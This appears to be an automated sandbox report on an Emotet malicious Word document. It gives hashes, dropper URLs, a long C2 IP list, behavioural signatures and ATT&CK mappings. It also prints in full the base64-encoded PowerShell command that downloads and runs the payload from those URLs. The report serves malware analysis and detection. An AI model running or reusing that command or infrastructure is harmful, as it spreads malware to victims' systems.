emotet | 18b232d2b48efe748dbae933d92cb726fcec3c5e4e732309fc09ecea98f2a5d1

General

Target
ZF4591402717VP.doc
Size 174KB
Sample200730-68mmem4gee
SHA256 18b232d2b48efe748dbae933d92cb726fcec3c5e4e732309fc09ecea98f2a5d1
MD5 38d793b6e80921334709579dfd39e8c6
SHA1 6771ef3c19b3213980165c4f7777005280d31f2f
SHA512 deed84285ac0406a0c1bfc58a14f85aa711d47c4d86bfb050454340fe86c458e764293d52520336afdb5245b585cc0af4ab80d439cac4b044dda61550e7c2faa
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.sourcetechno.com/wp-includes/pl0_sux_k2b4cgyr/
exe.dropper
http://haek.net/wp-includes/o5kn_2i_4qtj9wg/
exe.dropper
http://www.tarjetasas.com/web/o9kb_qb_na7usf6/
exe.dropper
http://greatfxmedia.com/clients/6whg9_9ww91_ev4kr/
exe.dropper
http://guyn3.com/newsletter/z3a_r_rm70xlsb3/

Extracted

Family

emotet

C2

47.146.117.214:80
62.108.54.22:8080
212.51.142.238:8080
190.160.53.126:80
87.106.136.232:8080
74.208.45.104:8080
121.124.124.40:7080
124.45.106.173:443
76.27.179.47:80
210.165.156.91:80
61.19.246.238:443
81.2.235.111:8080
169.239.182.217:8080
181.230.116.163:80
139.130.242.43:80
46.105.131.87:80
139.59.60.244:8080
222.214.218.37:4143
41.60.200.34:80
200.55.243.138:8080
24.234.133.205:80
190.55.181.54:443
189.212.199.126:443
93.156.165.186:80
62.138.26.28:8080
62.75.141.82:80
176.111.60.55:8080
168.235.67.138:7080
109.117.53.230:443
5.196.74.210:8080
162.154.38.103:80
152.168.248.128:443
83.110.223.58:443
95.9.185.228:443
180.92.239.110:8080
209.141.54.221:8080
37.187.72.193:8080
113.160.130.116:8443
85.59.136.180:8080
79.98.24.39:8080
91.231.166.124:8080
185.94.252.104:443
108.48.41.69:80
95.179.229.244:8080
71.208.216.10:80
93.51.50.171:8080
78.24.219.147:8080
24.179.13.119:80
200.41.121.90:80
153.126.210.205:7080
104.236.246.93:8080
46.105.131.79:8080
201.173.217.124:443
50.116.86.205:8080
116.203.32.252:8080
157.245.99.39:8080
109.74.5.95:8080
203.153.216.189:7080
87.106.139.101:8080
137.59.187.107:8080
110.145.77.103:80
47.153.182.47:80
95.213.236.64:8080
24.43.99.75:80
209.182.216.177:443
173.91.22.41:80
5.39.91.110:7080
75.139.38.211:80
91.211.88.52:7080
37.139.21.175:8080
162.241.92.219:8080
104.131.11.150:443
70.167.215.250:8080
104.131.44.150:8080
103.86.49.11:8080
65.111.120.223:80

rsa_pubkey.plain

Signatures

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2640	powersheLL.exe
2640	powersheLL.exe
2640	powersheLL.exe
1308	dmdskres2.exe
1308	dmdskres2.exe
1308	dmdskres2.exe
1308	dmdskres2.exe

Executes dropped EXE 2 IoCs

pid	Process
516	392.exe
1308	dmdskres2.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 516 wrote to memory of 1308	516	392.exe	76
PID 516 wrote to memory of 1308	516	392.exe	76
PID 516 wrote to memory of 1308	516	392.exe	76

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/516-7-0x0000000000540000-0x000000000054C000-memory.dmp	emotet
behavioral2/memory/1308-10-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
516	392.exe
1308	dmdskres2.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3100	WINWORD.EXE
3100	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2640	3956	powersheLL.exe	68

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2640	powersheLL.exe

Blacklisted process makes network request 2 IoCs

flow	pid	Process
16	2640	powersheLL.exe
18	2640	powersheLL.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\BOOTVID\dmdskres2.exe	392.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ZF4591402717VP.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
PID:3100

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABRAFIAVABHAEsAZwBvAHcAPQAnAEsASwBVAE8AVgBuAHoAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAEkAVABZAGAAUABSAE8AVABgAG8AYwBgAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFUAVgBBAFgAUQBzAG0AeQAgAD0AIAAnADMAOQAyACcAOwAkAFIARQBUAFkAVQBsAHYAegA9ACcAVwBaAEEAVgBXAHQAYgBlACcAOwAkAFYARwBWAEcATQBoAHcAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQBWAEEAWABRAHMAbQB5ACsAJwAuAGUAeABlACcAOwAkAFAAVwBQAFMAUQBpAG0AdgA9ACcARgBBAE0AWQBOAGkAdgBnACcAOwAkAFMATwBIAE0ASwBpAHkAcgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAEwASQBlAG4AVAA7ACQAWQBSAEIAVgBBAGYAcQB2AD0AJwBoAHQAdABwADoALwAvAHcAdwB3AC4AcwBvAHUAcgBjAGUAdABlAGMAaABuAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHAAbAAwAF8AcwB1AHgAXwBrADIAYgA0AGMAZwB5AHIALwAqAGgAdAB0AHAAOgAvAC8AaABhAGUAawAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AbwA1AGsAbgBfADIAaQBfADQAcQB0AGoAOQB3AGcALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB0AGEAcgBqAGUAdABhAHMAYQBzAC4AYwBvAG0ALwB3AGUAYgAvAG8AOQBrAGIAXwBxAGIAXwBuAGEANwB1AHMAZgA2AC8AKgBoAHQAdABwADoALwAvAGcAcgBlAGEAdABmAHgAbQBlAGQAaQBhAC4AYwBvAG0ALwBjAGwAaQBlAG4AdABzAC8ANgB3AGgAZwA5AF8AOQB3AHcAOQAxAF8AZQB2ADQAawByAC8AKgBoAHQAdABwADoALwAvAGcAdQB5AG4AMwAuAGMAbwBtAC8AbgBlAHcAcwBsAGUAdAB0AGUAcgAvAHoAMwBhAF8AcgBfAHIAbQA3ADAAeABsAHMAYgAzAC8AJwAuACIAcwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABXAFQAWQBWAE8AaABuAGEAPQAnAEoAUABYAFYAVABpAGsAbgAnADsAZgBvAHIAZQBhAGMAaAAoACQAVQBRAFQASABVAHQAcgB3ACAAaQBuACAAJABZAFIAQgBWAEEAZgBxAHYAKQB7AHQAcgB5AHsAJABTAE8ASABNAEsAaQB5AHIALgAiAEQATwBgAHcAYABOAGAAbABPAEEAZABmAEkAbABFACIAKAAkAFUAUQBUAEgAVQB0AHIAdwAsACAAJABWAEcAVgBHAE0AaAB3AGYAKQA7ACQAQgBZAE8ATABNAHoAbABxAD0AJwBPAFkATABSAEEAcAB5AGYAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABWAEcAVgBHAE0AaAB3AGYAKQAuACIAbABlAG4AZwBgAFQAaAAiACAALQBnAGUAIAAyADgAOQA2ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBgAEUAYABBAHQAZQAiACgAJABWAEcAVgBHAE0AaAB3AGYAKQA7ACQAVQBJAEgARgBRAGgAYwBnAD0AJwBLAEgARABOAEEAdgB0AGgAJwA7AGIAcgBlAGEAawA7ACQASwBHAFoASgBZAGkAegBjAD0AJwBTAE8ASQBYAE4AeAB0AHMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVABUAFkARABKAHQAagBmAD0AJwBLAEsATABXAEcAaAByAHYAJwA=
1⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
PID:2640

C:\Users\Admin\392.exe
C:\Users\Admin\392.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
PID:516
- C:\Windows\SysWOW64\BOOTVID\dmdskres2.exe
  "C:\Windows\SysWOW64\BOOTVID\dmdskres2.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1308

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/516-7-0x0000000000540000-0x000000000054C000-memory.dmp

Download

memory/1308-10-0x00000000005C0000-0x00000000005CC000-memory.dmp

Download

memory/3100-0-0x000001358D3DB000-0x000001358D3E0000-memory.dmp

Download

memory/3100-1-0x000001358D54F000-0x000001358D558000-memory.dmp

Download

memory/3100-2-0x000001358D54F000-0x000001358D558000-memory.dmp

Download

memory/3100-3-0x000001358D3D8000-0x000001358D3DB000-memory.dmp

Download

memory/3100-4-0x000001358D768000-0x000001358D76D000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads